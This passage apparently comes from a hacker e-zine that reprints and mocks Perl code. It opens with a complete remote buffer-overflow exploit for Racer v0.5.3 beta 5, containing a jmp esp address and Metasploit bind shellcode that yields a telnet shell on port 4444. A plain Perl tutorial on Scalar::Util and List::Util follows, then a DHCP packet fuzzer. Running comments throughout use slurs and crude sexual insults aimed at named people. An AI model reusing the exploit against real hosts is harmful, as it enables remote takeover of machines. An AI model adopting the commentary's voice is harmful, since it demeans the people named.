1805#Tested: Win Xp sp2 English
1806#Vendor's web site: http://www.racer.nl/
1807#Affected version's: all version's.
1808#Tested on: Racer v0.5.3 beta 5 (12-03-07).
1809#Special thank's to str0ke.
1810###########################
1811
1812
1813print <<End; # Not bad, still sucky
1814*****************************************************
1815Racer v0.5.3 beta 5 (12-03-07) remote exploit
1816=====================================================
1817Credit's to n00b for finding this bug and writing
1818the exploit.This exploit work's for the client
1819and the server.
1820*****************************************************
1821
1822Disclaimer
1823----------
1824The information in this advisory and any of its
1825demonstrations is provided "as is" without any
1826warranty of any kind.
1827I am not liable for any direct or indirect damages
1828caused as a result of using the information or
1829demonstrations provided in any part of this advisory.
1830Educational use only..!!
1831*****************************************************
1832Shout's ~ str0ke ~ c0ntex ~ marsu ~v9@fakehalo
1833Luigi Auriemma.
1834*****************************************************
1835(*)Please wait
1836End
1837
1838sleep 8; # Good, good
1839system("cls"); # GAY GAY
1840
1841use IO::Socket;
1842
1843$ip = $ARGV[0]; # GAY
1844
1845$payload1 = "A"x1001; # USE LEXICAL VARIABLES YOU DUMB SHIT
1846
1847#jmp esp 0x77D8AF0A user32.dll english
1848$jmpcode = "\x0A\xAF\xD8\x77";
1849
1850#win32_bind -EXITFUNC=seh LPORT=4444 Size=696 Encoder=Alpha2
1851#http://metasploit.com */.
1852$shellcode =
1853"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49\x49\x49\x49".
1854"\x49\x48\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x51\x5a\x6a\x67".
1855"\x58\x30\x41\x31\x50\x42\x41\x6b\x42\x41\x77\x32\x42\x42\x42\x32".
1856"\x41\x41\x30\x41\x41\x58\x38\x42\x42\x50\x75\x5a\x49\x49\x6c\x72".
1857"\x4a\x48\x6b\x32\x6d\x48\x68\x4c\x39\x39\x6f\x39\x6f\x69\x6f\x43".
1858"\x50\x6e\x6b\x50\x6c\x66\x44\x41\x34\x4c\x4b\x73\x75\x47\x4c\x6c".
1859"\x4b\x43\x4c\x57\x75\x30\x78\x75\x51\x7a\x4f\x4c\x4b\x42\x6f\x34".
1860"\x58\x4e\x6b\x41\x4f\x37\x50\x46\x61\x7a\x4b\x42\x69\x4e\x6b\x46".
1861"\x54\x6c\x4b\x63\x31\x6a\x4e\x50\x31\x49\x50\x4c\x59\x6e\x4c\x6f".
1862"\x74\x49\x50\x32\x54\x74\x47\x6f\x31\x6b\x7a\x44\x4d\x46\x61\x6f".
1863"\x32\x4a\x4b\x4a\x54\x77\x4b\x31\x44\x51\x34\x55\x78\x31\x65\x4b".
1864"\x55\x6c\x4b\x33\x6f\x75\x74\x63\x31\x38\x6b\x35\x36\x4e\x6b\x44".
1865"\x4c\x70\x4b\x4e\x6b\x43\x6f\x55\x4c\x36\x61\x78\x6b\x36\x63\x66".
1866"\x4c\x4e\x6b\x6f\x79\x42\x4c\x31\x34\x57\x6c\x75\x31\x78\x43\x75".
1867"\x61\x39\x4b\x50\x64\x4c\x4b\x57\x33\x34\x70\x4c\x4b\x77\x30\x64".
1868"\x4c\x4c\x4b\x70\x70\x37\x6c\x4c\x6d\x6e\x6b\x61\x50\x74\x48\x31".
1869"\x4e\x30\x68\x6c\x4e\x62\x6e\x44\x4e\x78\x6c\x72\x70\x39\x6f\x79".
1870"\x46\x63\x56\x76\x33\x70\x66\x42\x48\x56\x53\x37\x42\x53\x58\x62".
1871"\x57\x41\x63\x54\x72\x63\x6f\x51\x44\x59\x6f\x5a\x70\x50\x68\x7a".
1872"\x6b\x6a\x4d\x4b\x4c\x47\x4b\x62\x70\x59\x6f\x6e\x36\x71\x4f\x6f".
1873"\x79\x4d\x35\x43\x56\x6b\x31\x4a\x4d\x33\x38\x34\x42\x31\x45\x52".
1874"\x4a\x55\x52\x79\x6f\x6e\x30\x73\x58\x6a\x79\x77\x79\x4c\x35\x4c".
1875"\x6d\x52\x77\x39\x6f\x69\x46\x72\x73\x71\x43\x61\x43\x41\x43\x30".
1876"\x53\x42\x63\x46\x33\x42\x63\x71\x43\x4b\x4f\x58\x50\x71\x76\x30".
1877"\x68\x32\x31\x71\x4c\x65\x36\x41\x43\x6b\x39\x58\x61\x6a\x35\x63".
1878"\x58\x59\x34\x76\x7a\x30\x70\x4b\x77\x61\x47\x49\x6f\x4a\x76\x71".
1879"\x7a\x42\x30\x53\x61\x41\x45\x6b\x4f\x5a\x70\x53\x58\x6e\x44\x6c".
1880"\x6d\x64\x6e\x6d\x39\x36\x37\x49\x6f\x4b\x66\x73\x63\x30\x55\x39".
1881"\x6f\x4e\x30\x52\x48\x4d\x35\x41\x59\x6f\x76\x32\x69\x70\x57\x49".
1882"\x6f\x4e\x36\x66\x30\x66\x34\x30\x54\x43\x65\x4b\x4f\x4a\x70\x4f".
1883"\x63\x63\x58\x39\x77\x50\x79\x68\x46\x64\x39\x36\x37\x39\x6f\x4e".
1884"\x36\x70\x55\x4b\x4f\x6e\x30\x63\x56\x31\x7a\x32\x44\x42\x46\x31".
1885"\x78\x33\x53\x72\x4d\x4d\x59\x78\x65\x50\x6a\x52\x70\x70\x59\x57".
1886"\x59\x38\x4c\x6b\x39\x5a\x47\x31\x7a\x72\x64\x4e\x69\x4b\x52\x70".
1887"\x31\x49\x50\x78\x73\x4e\x4a\x4b\x4e\x71\x52\x56\x4d\x6b\x4e\x72".
1888"\x62\x34\x6c\x4f\x63\x6e\x6d\x33\x4a\x77\x48\x4e\x4b\x6c\x6b\x4c".
1889"\x6b\x55\x38\x32\x52\x6b\x4e\x58\x33\x56\x76\x59\x6f\x70\x75\x43".
1890"\x74\x49\x6f\x7a\x76\x43\x6b\x36\x37\x70\x52\x36\x31\x31\x41\x31".
1891"\x41\x52\x4a\x54\x41\x70\x51\x51\x41\x50\x55\x63\x61\x6b\x4f\x58".
1892"\x50\x73\x58\x4c\x6d\x79\x49\x43\x35\x4a\x6e\x31\x43\x4b\x4f\x7a".
1893"\x76\x71\x7a\x59\x6f\x4b\x4f\x64\x77\x6b\x4f\x38\x50\x4c\x4b\x50".
1894"\x57\x79\x6c\x4c\x43\x5a\x64\x70\x64\x4b\x4f\x4e\x36\x33\x62\x79".
1895"\x6f\x6e\x30\x41\x78\x4c\x30\x6f\x7a\x43\x34\x51\x4f\x50\x53\x79".
1896"\x6f\x4a\x76\x4b\x4f\x4e\x30\x67";
1897
1898$payload2 = "B"x500;
1899
1900# check it earlier
1901if(!$ip) # Useless
1902{
1903
1904die "remember the ip\n";
1905
1906}
1907
1908$port = '26000'; # Alright now, you die.
1909
1910$protocol = 'udp'; # :(
1911
1912$socket = IO::Socket::INET->new(PeerAddr=>$ip,
1913 PeerPort=>$port,
1914 Proto=>$protocol,
1915 Timeout=>'1') || die "Make sure service
1916is running on the port\n";
1917 # die "please keep your dirty ape hands off perl.
1918
1919{
1920print $socket $payload1,$jmpcode,$shellcode,$payload2,;
1921print "[+]Sending malicious payload.\n";
1922sleep 2;
1923system("cls");
1924print "[+]Done !!.\n";
1925close($socket);
1926{
1927sleep 5;
1928print " + Connecting on port 4444 of $host ...\n";
1929system("telnet $ip 4444"); # OMFG!
1930close($socket);
1931 }
1932}
1933
1934## WTF is this doing here?
1935
1936#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
1937#Microsoft Windows XP [Version 5.1.2600]
1938#(C) Copyright 1985-2001 Microsoft Corp.
1939# C:\Documents and Settings\****\Desktop\racer053b5>
1940#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
1941
1942# milw0rm.com [2007-08-13]
1943
1944
1945-[0x08] # merlyn discusses common tools ----------------------------------
1946
1947One of my favorite television lines stuck in my slowly aging brain comes
1948from the mid-60's campy Batman television series. Whenever Batman (played
1949by Adam West: I sat next to him during a cross-country flight a few years
1950ago and had a fun conversation) was stuck in a tight situation, he uttered
1951the painfully halting ``must.. get.. to.. my.. utility.. belt'' phrase.
1952Everything he needed to get out of this episode's trouble was in that
1953belt, if somewhat magically. If he needed to repel sharks: there it was,
1954the shark repellant. If he needed to dissolve glue: yep, there's the glue
1955dissolver. What a magical time of television!
1956
1957Perl also has its own ``utility belts'', namely Scalar::Util and
1958List::Util. These modules were added into the core around Perl version
19595.8, although you can install them from the CPAN into any modern Perl
1960version. Let's take a look at what our Perl utility belts contain.
1961
1962By default, neither of these modules export any subroutines, so we'll need
1963to ask for these functions explicitly by import.
1964
1965The blessed function of Scalar::Util tells us the classname of a blessed
1966reference, or undef otherwise. For example:
1967 use Scalar::Util qw(blessed);
1968 blessed "foo"; # undef
1969 blessed bless [], "Foo"; # "Foo"
1970 blessed bless {}, "Bar"; # "Bar"
1971
1972At first glance, this seems similar to the ref builtin function. However,
1973consider this:
1974 ref []; # "ARRAY"
1975 blessed []; # undef
1976
1977Yes, for an unblessed reference, ref returns the primitive data type (such
1978as ARRAY or HASH), while blessed returns undef.
1979
1980The dualvar function helps us create a single value that acts like the $!
1981built-in. $! is odd in that it has one value in a numeric context (the
1982error number, such as 13), and a related but different value in a string
1983context (the error string, such as Permission denied). We can create a
1984similar value using dualvar:
1985 use Scalar::Util qw(dualvar);
1986 my $result = dualvar(13, "Permission Denied");
1987 if ($result == 13) { ... } # true
1988 if ($result =~ /denied/i) { ... } # also true!
1989
1990For a more powerful version of this, look at Contextual::Return in the
1991CPAN. This same example would be written:
1992 use Contextual::Return;
1993 my $result = NUM { 13 } STR { "Permission Denied" };
1994
1995I'll save the rest of that cool module for another time.
1996
1997I've never used isvstring from Scalar::Util, because vstrings are a
1998deprecated feature, although still supported in version 5.8. However,
1999since I'm the originator of the JAPH, I figure I'll illustrate this using
2000one:
2001 use Scalar::Util qw(isvstring);
2002 my $japh =
2003v74.117.115.116.32.97.110.111.116.104.101.114.32.80.101.114.108.32.104.97.
200499.107.101.114.44;
2005 print $japh, "\n"; # prints "Just another Perl hacker,\n"
2006 if (isvstring $japh) { ... } # true
2007
2008Apparently, the fact that my JAPH came from a vstring is remembered as
2009part of the string, and isvstring can detect that.
2010
2011Using a string as a number in Perl is well-defined: the string is
2012converted to a number (and cached), and the resulting number is used in
2013the expression. An ugly string that doesn't exactly look like a number
2014converts as a 0, and if warnings are enabled, we get an Argument ... isn't
2015numeric message. Internally, Perl calls looks_like_number to decide how
2016numeric the value might be, and we can get to that at the Perl level as
2017well:
2018 use Scalar::Util qw(looks_like_number);
2019 my $age;
2020 {
2021 print "How old are you? ";
2022 chomp($age = <STDIN>);
2023 print ("$age isn't a number, try again\n"), redo
2024 unless looks_like_number $age;
2025 }
2026
2027The openhandle function detects whether a reference or glob is connected
2028to an open filehandle:
2029 use Scalar::Util qw(openhandle);
2030 if (openhandle(*STDIN)) { ... } # glob
2031 if (openhandle(\*STDIN)) { ... } # reference
2032
2033The classic way of testing this was to use defined fileno, as in:
2034 if (defined fileno $somereference) { ... }
2035
2036However, this breaks down for tied filehandles:
2037 BEGIN { package Dummy; sub TIEHANDLE { bless {}, shift } }
2038 tie (*FOO, "Dummy");
2039 if (defined fileno *FOO) { ... } # tries to call tied(*FOO)->FILENO
2040 if (openhandle *FOO) { ... } # returns true
2041
2042The readonly function detects whether a value is read-only, such as a
2043constant, or a variable that is aliased to a constant:
2044 use Scalar::Util qw(readonly);
2045 readonly 3; # true
2046 readonly $x; # false, unless $x is aliased to a read-only value
2047
2048An example of where this aliasing might occur is in a subroutine call:
2049 sub is_readonly {
2050 print "$_[0] is ";
2051 print "not " unless readonly $_[0];
2052 print "read-only\n";
2053 }
2054 is_readonly(3); # prints 3 is read-only
2055 is_readonly(my $x = 0); # prints 0 is not read-only
2056
2057I've never used the refaddr function, but it looks like a nice way to
2058detect whether a scalar is a reference or not, and if so, what the memory
2059address might be:
2060 use Scalar::Util qw(refaddr);
2061 refaddr "hello"; # undef
2062 refaddr []; # some numeric value
2063
2064I've seen refaddr used as a key to a hash when constructing inside-out
2065objects.
2066
2067As yet another way to look at references, consider reftype, which returns
2068the primitive type of a reference, or undef otherwise:
2069 use Scalar::Util qw(reftype);
2070 reftype "hello"; # undef
2071 reftype []; # "ARRAY"
2072 reftype {}; # "HASH"
2073 reftype bless [], "Foo"; # "ARRAY"
2074
2075Note that this differs from the built-in ref because ref returns the
2076blessed class for objects, and can be fooled to return one of the built-in
2077names if you're really perverse:
2078 ref bless [], "Foo"; # "Foo"
2079 ref bless {}, "ARRAY"; # "ARRAY" (don't do this!)
2080
2081I've also never used the set_prototype function, and subroutine prototypes
2082are generally discouraged, but I'll mention it here anyway for
2083completeness:
2084 use Scalar::Util qw(set_prototype);
2085 my $s = sub { ... };
2086 set_prototype $s, '$$';
2087 # same as: $s = sub ($$) { ... };
2088
2089The tainted function determines whether a value is tainted. When Perl is
2090operating with taint enabled, and a value comes in from the dangerous
2091outside world, the value is marked as tainted, and nearly any calculation
2092that uses a tainted in any way also results in a tainted value. If a
2093tainted value is used in a dangerous way, Perl aborts, hopefully saving
2094you from potential harm.
2095 use Scalar::Util qw(tainted);
2096 tainted "foo"; # false (internal value)
2097 tainted $ENV{HOME}; # true if running under -T (external value)
2098 $ENV{HOME} = "/";
2099 tainted $ENV{HOME}; # now false
2100
2101The weaken function weakens its lvalue (scalar variable) argument so that
2102the reference contained within the variable is weak. A weak reference
2103still functions as a normal reference with respect to dereferencing, but
2104does not count as a reference when Perl is considering whether there are
2105any references to a value. Incidentally, a copy of a weak reference is not
2106also weak, unless you also weaken it.
2107
2108Typically, weak references are used in self-referential data structures.
2109For example, consider some hashrefs representing nodes in a tree, each of
2110which has an arrayref element of kids pointing at the children, and a
2111parent element pointing back upwards. Let's make the root, and two leaf
2112nodes:
2113 my $root = {};
2114 my $leaf1 = { parent => $root };
2115 my $leaf2 = { parent => $root };
2116
2117and now let's set up the kids in the root:
2118 push @$root{kids}, $leaf1, $leaf2;
2119
2120At this point, we have a self-referential data structure. Even if these
2121variables are all lexically local to a subroutine, the subroutine will
2122leak memory each time it is called, because there's always at least one
2123reference to each of three hashes. To fix this, we must weaken the parent
2124links:
2125 use Scalar::Util qw(weaken);
2126 my $root = {};
2127 my $leaf1 = { parent => $root };
2128 weaken $leaf1->{parent};
2129 my $leaf2 = { parent => $root };
2130 weaken $leaf2->{parent};
2131 push @$root{kids}, $leaf1, $leaf2;
2132
2133Now, we can get from the root to the kids, and from the kids to the root,
2134using the existing references. However, the links from the kids to the
2135root won't count, so Perl treats the literal $root as the only path to
2136that hash. When $root goes out of scope, any weakened references to the
2137hash (as in, the values for each of the parent uplinks) are set to undef.
2138The refcounts of the two kids nodes are also reduced. If $leaf1 and $leaf2
2139are also going out of scope, then the corresponding hashes are also now
2140unreferenced, causing the entire data structure to disappear.
2141
2142We can detect a weak reference using isweak:
2143 use Scalar::Util qw(isweak);
2144 isweak $root->{kids}[0]; # false
2145 isweak $leaf1->{parent}; # true
2146
2147Note that weaken and isweak appear only when you install the ``XS''
2148version of the module.
2149
2150That wraps up the Scalar::Util-ity belt. Next month, I'll examine
2151List::Util. Until then, enjoy!
2152
2153# Month zooms by...
2154
2155Last month, I introduced the Scalar::Util super hero of the
2156Scalar/List-Util dynamic duo, describing how a somewhat-overlooked
2157standard library can simplify some of your common tasks. In this month's
2158column, I'll examine List::Util for the help it can provide to your list
2159tasks. I'll also look at List::MoreUtils for some additional common list
2160operations, if you don't mind a quick CPAN install. (And you'll need to
2161install List::Util from the CPAN anyway if you're running something prior
2162to Perl 5.8.)
2163
2164Like Scalar::Util, the List::Util module doesn't export any subroutines by
2165default. That means that you'll need to ask for each of these routines
2166explicitly with use.
2167
2168First, let's look at (the appropriately titled) first. Let's say you have
2169a list of items, and you want to find the first one that is greater than
2170ten characters. Simply pull out first, like this:
2171 use List::Util qw(first);
2172 my $big_enough = first { length > 10 } @the_list;
2173
2174The first routine walks through the list similar to grep or map, placing
2175each item into $_. The block is then evaluated, looking for a true or
2176false value. If true, the corresponding value of $_ is returned
2177immediately. If every evaluation of the block returns false, then first
2178returns undef.
2179
2180Note that this is similar to:
2181 my ($big_enough) = grep { length $_ > 10 } @the_list;
2182
2183However, the first routine avoids testing the remainder of the list once
2184we have found our item of choice. For short lists, we might not care, but
2185for long lists, this can save us some time if we expect a true value
2186somewhat early in the list.
2187
2188We do lose a tiny bit of information with first as well. If undef is a
2189significant return value, we can't tell the undef as one of the list
2190members from the undef returned at the end of the list. For example, if we
2191wanted the ``first undef'' from a list:
2192 my $first_undef = first { not defined $_ } @items;
2193
2194we couldn't tell if this was returning a ``found'' undef, or a ``not
2195found'' signal (also undef). In the grep equivalent, we can see whether
2196there are zero or non-zero elements assigned:
2197 if (my ($first_undef) = grep { not defined $_ } @items) {
2198 # really found an undef
2199 } else {
2200 # no undef found
2201 }
2202
2203Admittedly, I can't recall where I've ever cared that much. But it's an
2204interesting thing to think about when designing return values from
2205functions. But enough on first. Let's move on.
2206
2207The next easy utility to describe from List::Util is shuffle. Yes, many
2208programs need a randomly ordered list of values, and here we have it as a
2209simple word:
2210 use List::Util qw(shuffle);
2211 my @deck = shuffle
2212 map { "C$_", "D$_", "H$_", "S$_" }
2213 0..9, qw(A K Q J);
2214
2215Now our deck of cards is shuffled, and rather fairly and quickly. Like
2216sorting, shuffling is one of those things that looks rather easy to
2217implement, but turns out to have tricky parts to get right. And in the
2218normal List::Util installation, this is implemented at the C level (using
2219XS), so it's quite fast.
2220
2221One of my favorite ``obscure but cool once you understand it'' functions
2222in list-processing languages is reduce, and although Perl doesn't have it
2223is as a built-in, we can at least get to it with List::Util.
2224
2225Similar to sort, reduce takes a block argument that references $a and $b.
2226This is best illustrated by example:
2227 use List::Util qw(reduce);
2228 my $total = reduce { $a + $b } 1, 2, 4, 8, 16;
2229
2230For the first evaluation of the block, $a and $b take on the first and
2231second elements of the list: 1 and 2 in this case. The block is evaluated
2232(returning 3), and this value is placed back into $a, and the next value
2233is placed in $b (4). Once again, the block is evaluated (7), and the
2234result placed in $a, and a new $b comes from the list. When there are no
2235more items in the list, the result is returned instead. The effect is if
2236we had written:
2237 my $total = ((((1 + 2) + 4) + 8) + 16);
2238
2239but scaled for however many elements are in the list. Nice!
2240
2241We can use it to compute a factorial for $n:
2242 my $factorial_n = reduce { $a * $b } 1..$n;
2243
2244Or recognize a series of binary digits as a number:
2245 my $number = reduce { 2 * $a + $b } 1, 1, 0, 0, 1; # 0b11001
2246
2247We could even rewrite join in terms of reduce:
2248 sub my_join {
2249 my $glue = shift;
2250 return reduce { $a . $glue . $b } @_;
2251 }
2252
2253By adding some smarts into the block, we can find the numeric maximum of a
2254list of values:
2255 my $numeric_max = reduce { $a > $b ? $a : $b } @inputs;
2256
2257This works because we select the winner of any given pair of values, and
2258if we keep carrying that winner forward, eventually the winningest winner
2259comes out the end.
2260
2261For a string maximum (``z'' preferred to ``a''), just change the type of
2262the comparison:
2263 my $numeric_max = reduce { $a gt $b ? $a : $b } @inputs;
2264
2265And for minimums, we can change the order of the comparison, or swap the
2266selection of $a and $b.
2267
2268For convenience, List::Util provides max, maxstr, min, minstr, and sum
2269directly.
2270
2271I learned Smalltalk long before I learned Perl, and got quite fond of the
2272inject:into: method for collections. The reduce routine maps rather
2273nicely, if I think of Smalltalk's:
2274 aCollection inject: firstValue into: [:a :b | "something with a and b"]
2275
2276as Perl's:
2277 reduce { "something with $a and $b" } $firstValue, @aCollection;
2278
2279In other words, another way of looking at reduce is that it transforms
2280that first element into the final result by invoking the block in a
2281specific way on all of the remaining elements of the list. So, you could
2282put a list of elements inside an array ref with:
2283 my $array_ref = reduce { push @$a, $b; $a } [], @some_list;
2284
2285Or create a hash with:
2286 my $hash_ref = reduce { $a->{$b} = 1; $a } {}, @some_list;
2287
2288Note that on each iteration, $a is used, and also returned to become the
2289new $a or the final result. This is reminiscent of the many uses of
2290inject:into: in the Smalltalk images I've seen.
2291
2292That wraps up List::Util, but I've still got a few inches of room here, so
2293let's take a quick look at the CPAN module List::MoreUtils. Although it
2294isn't part of the core, it's referenced in List::Util, because the module
2295provides a few handy shortcuts implemented (again) in C code for speed.
2296Like List::Util all imports must be specifically requested.
2297
2298The any routine returns a boolean result if any of the items in the list
2299meet the given criterion, using a $_ proxy similar to grep or map:
2300 use List::MoreUtils qw(any);
2301 my $has_some_defined = any { defined $_ } @some_list;
2302
2303This is done efficiently, returning a true value as soon as the block
2304returns a true value, and iterating to the end of the list only if none of
2305the elements meet the condition.
2306
2307Similarly, all computes whether any of the elements fail to meet the
2308condition, returning false as soon as one of the elements fails, rather
2309than iterating through the entire list:
2310 use List::MoreUtils qw(all);
2311 my $has_no_undef = all { defined $_ } @some_list;
2312
2313Note that you could easily define any in terms of all and vice-versa, just
2314by negating both the condition and the result value. (These items are far
2315more efficient than their same-named ``equivalents'' in
2316Quantum::Superpositions.)
2317
2318If you negate only the result values (or just the condition, depending on
2319how you look at it), you get two other routines defined by
2320List::MoreUtils, none and notall:
2321 use List::MoreUtils qw(none notall);
2322 my $has_no_defined = none { defined $_ } @some_list;
2323 my $has_some_undef = notall { defined $_ } @some_list;
2324
2325Like if vs unless or while vs until, having complementary routines gives
2326you the flexibility to spell out what you're actually looking for, rather
2327than requiring Perl (and the maintenance programmer) to figure out what
2328you mean with a bunch of not operations.
2329
2330If you're just counting true and false values, true and false are at your
2331service:
2332 use List::MoreUtils qw(true false);
2333 my $bigger_than_10_count = true { $_ > 10 } @some_list;
2334 my $not_bigger_than_10_count = false { $_ > 10 } @some_list;
2335
2336Again, these are complementary, so use the one that reads better for your
2337task.
2338
2339The first_index and last_index routines return where an item appears. For
2340example, suppose I want to know which item is the first item that is
2341bigger than 10:
2342 use List::MoreUtils qw(first_index);
2343 my $where = first_index { $_ > 10 } 1, 2, 4, 8, 16, 32;
2344
2345The result here is 4, indicating that 16 is the first item greater than
234610. The index value is 0-based. If the item is not found, -1 is returned,
2347like Perl's built-in index search for strings. last_index works like
2348rindex, working from the upper end of the list rather than the lower end.
2349
2350A more general version of this is indexes (not indices as you might
2351think), which returns all of the index values instead of just the first or
2352last:
2353 use List::MoreUtils qw(indexes);
2354 my @where = indexes { $_ > 10 } 1, 2, 4, 8, 16, 32;
2355
2356The result is 4, 5, showing that elements 4 and 5 of the input list match
2357the condition.
2358
2359The apply routine is like the built-in map, but automatically localizes
2360the $_ value so we can safely change it within the block:
2361 use List::MoreUtils qw(apply);
2362 my @no_leading_blanks = apply { s/^\s+// } @input;
2363
2364If we tried to do this with map:
2365 my @no_leading_blanks = map { s/^\s+// } @input;
2366
2367then we'd see two problems. First, the result of a substitution is not the
2368new string, but the success value, so the outputs would simply be a series
2369of true and false values. Second, the $_ value is aliased to the inputs,
2370so @input would have been changed. Oops. The equivalent to the apply with
2371map would be something like:
2372 my @output = map { local $_ = $_; [apply action here]; $_ } @input;
2373
2374And yes, the many times I've written map blocks that look just like that,
2375I could have replaced them with apply
2376
2377And List::MoreUtils contains a few more routines as well, but I've now run
2378out of space. I hope you find this little trip into the ``utility belts''
2379of Perl fun and handy. Until next time, enjoy!
2380
2381
2382-[0x09] # Ilja is back, with shit Perl of course -------------------------
2383
2384#!/usr/bin/perl
2385
2386## At least your intro is interesting
2387
2388#
2389# dhcp fuzzer, first without options
2390# will do options later ...
2391#
2392# update: - replaced obsolete Net::RawIP with more powerfull Net::Packet
2393# (a bit bitchy to install tho ...)
2394# - added totally unintelligent options fuzzing
2395#
2396# Pretty hackish, but it seems to work ...
2397# version 0.2 By Ilja van Sprundel.
2398#
2399# Todo: - give verbose output
2400# - run in deamon mode, find dhcp id's and remember mac addr
2401# - clean up the protocol implementation (I basicly copypasted what
2402# was in ethereal, ...)
2403
2404#
2405# Net::Packet does a few annoying sleep()'s that I don't need
2406# and they get in the way of fuzzing, so just preload perl
2407# with the following tiny piece of code and all should be well.
2408#
2409##define LIBC "/lib/libc.so.6"
2410#
2411#int sleep(int sec) {
2412# void *handle;
2413# int r = 0;
2414# int (*osleep)(int);
2415# handle = dlopen(LIBC, 1);
2416# osleep = dlsym(handle, "sleep");
2417# if (sec != 1)
2418# r = osleep(sec);
2419# dlclose(handle);
2420# return(r);
2421#}
2422
2423# while [ 1 ] ; do LD_PRELOAD=./sleep.so perl dhcpfuzz.pl ; done
2424
2425# bugs found: - dhcpdump (overflow (a plain stacksmash!), NULL ptr deref,
2426# endless loop)
2427# - tcpdump in verbose mode (-vv) slows it down A LOT (becomes
2428# pretty much unworkable)
2429
2430# targets I still want to test: - solaris dhcpd (CMU dhcpd ?)
2431# - ISC dhcpd
2432# - windows dhcpd
2433# - cisco dhcpd
2434# - IBM OS/400
2435# - wingate dhcpd
2436# - nat32 dhcpd (windows based dhcpd)
2437
2438# No lexical variables? No warnings?
2439# Try these two pragmas:
2440# use strict;
2441# use warnings;
2442
2443use Net::Packet qw($Env);
2444use Net::Packet::ETH;
2445use Net::Packet::IPv4;
2446use Net::Packet::UDP;
2447use Net::Packet::Frame;
2448use Net::Packet::Consts qw(:eth);
2449use Net::Packet::Consts qw(:ipv4);
2450
2451
2452$id = int(rand() * 10000000000) % (0xffffffff + 1); # change
2453 # Yea, it needs it. :>
2454if ( int(rand() * 10) ) {
2455 $messagetype = int(rand() * 10) % 6;
2456} else {
2457 $messagetype = int(rand() * 1000) % 256;
2458}
2459
2460if ( int(rand() * 10) ) {
2461 $hwtype = int(rand() * 10) % 6;
2462} else {
2463 $hwtype = int(rand() * 1000) % 256;
2464}
2465
2466$hwlen = int(rand() * 1000) % 256;
2467
2468if ( int(rand() * 10) ) {
2469 $hops = 0;
2470} else {
2471 $hops = int(rand() * 1000) % 256;
2472}
2473
2474if ( int(rand() * 10) ) {
2475 $seconds = int(rand() * 10) % 16;
2476} else {
2477 $seconds = int(rand() * 100000) % 65536;
2478}
2479
2480if ( int(rand() * 10) ) {
2481 $flags = 0x0000;
2482} else {
2483 $flags = int(rand() * 100000) % 65536;
2484}
2485
2486# Don't you get annoyed at having this over and over again?
2487$clientip = int(rand() * 10000000000) % (0xffffffff + 1);
2488$yourip = int(rand() * 10000000000) % (0xffffffff + 1);
2489$nextip = int(rand() * 10000000000) % (0xffffffff + 1);
2490$relayip = int(rand() * 10000000000) % (0xffffffff + 1);
2491
2492open($fd, "/dev/urandom"); # Nice call to open() there buddy
2493 # open(my $fd, '<', '/dev/urandom') or die
2494"Can't open() /dev/urandom.\n";
2495
2496if ( int(rand() * 10) ) {
2497 $clientaddr =
2498 "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
2499 # my $clientaddr = "\x00" x 16;
2500} else {
2501 read($fd, $clientaddr, 16);
2502}
2503
2504if ( int(rand() * 10) ) {
2505 $sname =
2506 "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
2507 "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
2508 "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
2509 "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
2510 # my $sname = "\x00" x 64;
2511} else {
2512 read($fd, $sname, 64);
2513}
2514
2515if ( int(rand() * 10) ) {
2516 $file =
2517 "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
2518 "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
2519 "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
2520 "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
2521 "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
2522 "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
2523 "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
2524 "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
2525 # my $file = "\x00" x 128;
2526} else {
2527 read($fd, $file, 128);
2528}
2529
2530#
2531# this is the options fuzzing :) h4h4
2532#
2533
2534# h4h4 1nd33d
2535
2536read($fd, $tmp, (int(rand() * 1000) % 256) );
2537close($fd);
2538$data = pack("C", $messagetype) . pack("C", $hwtype) . pack("C", $hwlen) .
2539pack("C", $hops) .
2540 pack("I", $id) . pack("n",$seconds) . pack("n", $flags) .
2541pack("N", $clientip) .
2542 pack("N", $yourip) . pack("N", $nextip) . pack("N", $relayip) .
2543$clientaddr .
2544 $sname . $file . $tmp . "\xff"; # Eh, at least you space your
2545 # concactination operator nicely, not
2546 # like those PHP coders.
2547 # But damn you don't realize that
2548pack can take a list
2549
2550print ("Length: " . length($data) . "\n"); # nice parens there
2551
2552#
2553# you gotta love Net::Packet !!!!
2554#
2555
2556# Yup. You also gotta love how your variables suddenly become lexical...
2557# LOOKS LIKE SOMEONE COPIED AND PASTED
2558my $eth = Net::Packet::ETH->new(type => NP_ETH_TYPE_IPv4, dst =>
2559"FF:FF:FF:FF:FF:FF");
2560my $ip = Net::Packet::IPv4->new(src => '0.0.0.0', dst =>
2561'255.255.255.255', protocol => NP_IPv4_PROTOCOL_UDP);
2562my $udp = Net::Packet::UDP->new(src => 68, dst => 67);
2563my $content = Net::Packet::Layer7->new(data => $data);
2564my $frame = Net::Packet::Frame->new(l2 => $eth, l3 => $ip, l4 => $udp, l7
2565=> $content);
2566$frame->send;
2567# Nice spacing.
2568
2569# Ilja you sure make it look like you did a lot more work than you did.
2570# You have the creativity of a 19th century Polish serf...motherfucker!
2571
2572# Ilja, how's working at suresec? Are they paying you by the blowjob like
2573# Immunity?
2574
